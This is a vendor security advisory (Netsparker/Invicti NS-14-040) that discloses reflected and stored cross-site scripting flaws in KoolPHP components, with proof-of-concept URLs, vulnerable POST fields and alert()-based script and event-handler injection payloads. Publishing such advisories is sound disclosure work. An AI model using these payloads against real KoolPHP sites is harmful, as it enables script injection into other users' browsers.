Multiple XSS Vulnerabilities in KoolPHP

Information

Advisory by Netsparker (now Invicti)
Name: Multiple XSS Vulnerabilities in KoolPHP
Affected Software: KoolPHP
Affected Versions: 80 and possibly below
Vendor Homepage: http://www.koolphp.net/
Vulnerability Type: Cross-site Scripting
Severity: Important
Invicti Advisory Reference: NS-14-040

Description

KoolPHP is a vendor of PHP User Interface (UI) components. We focus on building the featured rich yet easy-to-use components to help developers increase productivity and deliver highest quality applications within time and budget constraints.

Technical Details

Proof of Concept URLs for XSS in KoolPHP:

http://example.com/KoolPHPSuite/Examples/KoolTabs/Advances/PostBack_On_Selection/ (POST, fields: kts_selected)
'"--></style></scRipt><scRipt>alert(0x008D03)</scRipt>
http://example.com/KoolPHPSuite/Examples/KoolTreeView/Features/Tree_Context_Menu/subnode.php?level='"--></style></scRipt><scRipt>alert(0x009381)</scRipt>&__koolajax=1
http://example.com/KoolPHPSuite/Resources/senderr.php/"onload="alert(9)
http://example.com/KoolPHPSuite/Examples/KoolUploader/Appearance/Styles/ (POST, fields: style_select)
'"--></style></scRipt><scRipt>alert(0x009A07)</scRipt>
http://example.com/KoolPHPSuite/Examples/KoolComboBox/Advances/With_TreeView/index.php (POST, fields:kcb_selectedText)
</textarea><scRipt>alert(9)</scRipt>
http://example.com/KoolPHPSuite/Examples/KoolTreeView/Appearance/Styles/index.php (POST, fields: style_select)
'><iMg src=N onerror=alert(9)>

Permanent Cross-site Scripting

http://example.com/KoolPHPSuite/Examples/KoolAjax/UpdatePanel/Ajax_Comment_Post/ (POST, fields: comment_name)
'"--></style></scRipt><scRipt>alert(0x001B3B)</scRipt>
http://example.com/KoolPHPSuite/Install/index.php?step=1&err=true (POST, fields: dbhost)
<scRipt>alert(0x00A4EF)</scRipt>
http://example.com/KoolPHPSuite/Examples/KoolAjax/UpdatePanel/Ajax_Comment_Post/index.php?id=%27 (POST, fields: comment_name)
'"--></style></scRipt><scRipt>alert(0x001B3B)</scRipt>

Other URLs

http://example.com/KoolPHPSuite/Examples/KoolTabs/Features/Scrolling/index.php (POST, fields: scrolling )
http://example.com/KoolPHPSuite/Examples/KoolForm/Decoration/First_Look/ (POST, fields: selectStyle )
http://example.com/KoolPHPSuite/Examples/KoolComboBox/Advances/With_TreeView/ (POST, fields: kcb_selectedText)
http://example.com/KoolPHPSuite/Examples/KoolImageView/Features/Effects/index.php (POST, fields: effect_select)
http://example.com/KoolPHPSuite/Examples/KoolCalendar/Appearance/Styles/index.php (POST, fields: style_select )
http://example.com/KoolPHPSuite/Examples/KoolCalendar/TimePicker/TimePicker_FirstLook/index.php (POST, fields: timepicker )
http://example.com/KoolPHPSuite/Examples/KoolComboBox/Appearance/Styles/index.php (POST, fields: style_select)
http://example.com/KoolPHPSuite/Examples/KoolCalendar/DatePicker/DateFormat/index.php (POST, fields: datetimepicker )
http://example.com/KoolPHPSuite/Examples/KoolTabs/Appearance/Styles/ (POST, fields: style_select )
http://example.com/KoolPHPSuite/Examples/KoolCalendar/DateTimePicker/DateTimePicker_FirstLook/index.php (POST, fields: datetimepicker )
http://example.com/KoolPHPSuite/Examples/KoolTabs/Features/Alignment/index.php (POST, fields: alignmentSelect )
http://example.com/KoolPHPSuite/Examples/KoolAjax/UpdatePanel/First_Look/index.php (POST, fields: country1 )
http://example.com/KoolPHPSuite/Examples/KoolSlideMenu/Appearance/Styles/index.php (POST, fields: style_select )
http://example.com/KoolPHPSuite/Examples/KoolMenu/Features/Effect/ (POST, fields: effect_select )
http://example.com/KoolPHPSuite/Examples/KoolComboBox/Features/Basic_ComboBox/index.php (POST, fields: kcb_selectedText )
http://example.com/KoolPHPSuite/Examples/KoolAjax/UpdatePanel/Ajax_Comment_Post/index.php (POST, fields: comment_name )
http://example.com/KoolPHPSuite/Examples/KoolTreeView/Appearance/Styles/ (POST, fields: style_select )
http://example.com/KoolPHPSuite/Examples/KoolCalendar/DatePicker/DatePicker_FirstLook/index.php (POST, fields: datepicker )
http://example.com/KoolPHPSuite/Examples/KoolComboBox/Advances/AutoPostback/index.php (POST, fields: kcb_selectedText)
http://example.com/KoolPHPSuite/Examples/KoolImageView/Appearance/Styles/index.php (POST, fields: style_select )
http://example.com/KoolPHPSuite/Examples/KoolListBox/Appearance/Styles/index.php (POST, fields: selectStyle )
http://example.com/KoolPHPSuite/Examples/KoolMenu/Appearance/Styles/index.php (POST, fields: style_select )

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

227/06/2014 – First Contact
07/07/2014 – Second Contact
09/12/2014 – Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.